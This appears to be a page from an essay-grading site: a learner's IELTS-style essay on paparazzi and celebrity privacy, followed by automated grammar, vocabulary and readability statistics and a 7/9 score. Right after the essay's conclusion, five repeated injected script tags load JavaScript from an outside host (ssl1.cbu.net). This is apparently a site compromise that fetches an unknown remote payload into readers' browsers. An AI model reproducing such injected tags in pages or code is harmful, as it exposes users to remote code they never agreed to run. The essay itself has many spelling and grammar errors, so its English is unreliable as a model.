Write about the following topic:
Some people feel that paparazzi should not follow celebrities and invade their privacy by taking pictures of them everywhere, while others believe this is just the price of fame.
Discuss both sides and give your opinion. Give reasons for your answer, and include any relevant examples from your own knowledge or experience.
In today's world, celebrities's life is discussed on large scale and paparzzi are the one who are constantly in hunt to get a peek into famous person's life. Some people argue that paprazzi should control these activities while others say that disruption in celebrity's life is the price at which fame comes. This essay will discuss both the opinions.
Firstly, even famous personalities have a life apart from being famous. Due to paprazzi constantly monitoring and chasing them, their social life is hampered and are unable to enjoy their personal place with family or friends. This invasion of personal space creats a sense of discomfort amongst celebrity and can affect their mental health causing outbursts in an aggressive or passive way. This effect is not limited to celebrities themselves as their spouse or children are also affected by the limelight. For example, recently a famous bollywood actor Shahrukh Khan's son was caught by police with drugs. The paprazzi was continuously monitoring shahrukh and his son's activities irrespective of the struggles family was going through at the moment affecting their social and mental state.
However, certain other people argue that once you become famous there is no running away from limelight. While renowned persons enjoy the fame they have to be open to this inflitration by paprazzi at some level. Once a person becomes a center of attraction, people start discussing about their life and to provide people with a comprehensive understanding about personality or activities, paparazzi regularly follow them. Famous people need to be comfortable with this upto certain level as it was their decision to gain fame.
To conclude, there needs to be basic understanding amongst paparazzi to not affect the personal space of celebrities. The celebrities should be given some space to enjoy their social life and paprazzi needs to understand their limits and not follow them regularly. <script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
Line 1, column 142, Rule ID: POSSESIVE_APOSTROPHE[2]
Message: Possible typo: apostrophe is missing. Did you mean 'persons'' or 'person's'?
Suggestion: persons'; person's
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Transition Words or Phrases used:
also, first, firstly, however, if, so, while, apart from, for example
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 18.0 13.1623246493 137% => OK
Auxiliary verbs: 5.0 7.85571142285 64% => OK
Conjunction : 13.0 10.4138276553 125% => OK
Relative clauses : 5.0 7.30460921844 68% => More relative clauses wanted.
Pronoun: 26.0 24.0651302605 108% => OK
Preposition: 40.0 41.998997996 95% => OK
Nominalization: 3.0 8.3376753507 36% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1634.0 1615.20841683 101% => OK
No of words: 310.0 315.596192385 98% => OK
Chars per words: 5.27096774194 5.12529762239 103% => OK
Fourth root words length: 4.19604776685 4.20363070211 100% => OK
Word Length SD: 2.74348343402 2.80592935109 98% => OK
Unique words: 175.0 176.041082164 99% => OK
Unique words percentage: 0.564516129032 0.561755894193 100% => OK
syllable_count: 516.6 506.74238477 102% => OK
avg_syllables_per_word: 1.7 1.60771543086 106% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 4.0 5.43587174349 74% => OK
Article: 2.0 2.52805611222 79% => OK
Subordination: 1.0 2.10420841683 48% => OK
Conjunction: 0.0 0.809619238477 0% => OK
Preposition: 2.0 4.76152304609 42% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 15.0 16.0721442886 93% => OK
Sentence length: 20.0 20.2975951904 99% => OK
Sentence length SD: 41.9876172222 49.4020404114 85% => OK
Chars per sentence: 108.933333333 106.682146367 102% => OK
Words per sentence: 20.6666666667 20.7667163134 100% => OK
Discourse Markers: 4.6 7.06120827912 65% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 1.0 5.01903807615 20% => OK
Sentences with positive sentiment : 6.0 8.67935871743 69% => OK
Sentences with negative sentiment : 4.0 3.9879759519 100% => OK
Sentences with neutral sentiment: 5.0 3.4128256513 147% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.210752477061 0.244688304435 86% => OK
Sentence topic coherence: 0.0792180671145 0.084324248473 94% => OK
Sentence topic coherence SD: 0.063837522234 0.0667982634062 96% => OK
Paragraph topic coherence: 0.145052604977 0.151304729494 96% => OK
Paragraph topic coherence SD: 0.0473325426593 0.056905535591 83% => OK
Essay readability:
automated_readability_index: 13.7 13.0946893788 105% => OK
flesch_reading_ease: 42.72 50.2224549098 85% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 12.3 11.3001002004 109% => OK
coleman_liau_index: 13.29 12.4159519038 107% => OK
dale_chall_readability_score: 8.55 8.58950901804 100% => OK
difficult_words: 77.0 78.4519038076 98% => OK
linsear_write_formula: 8.0 9.78957915832 82% => OK
gunning_fog: 10.0 10.1190380762 99% => OK
text_standard: 9.0 10.7795591182 83% => OK
What are above readability scores?
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Rates: 78.6516853933 out of 100
Scores by essay e-grader: 7.0 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.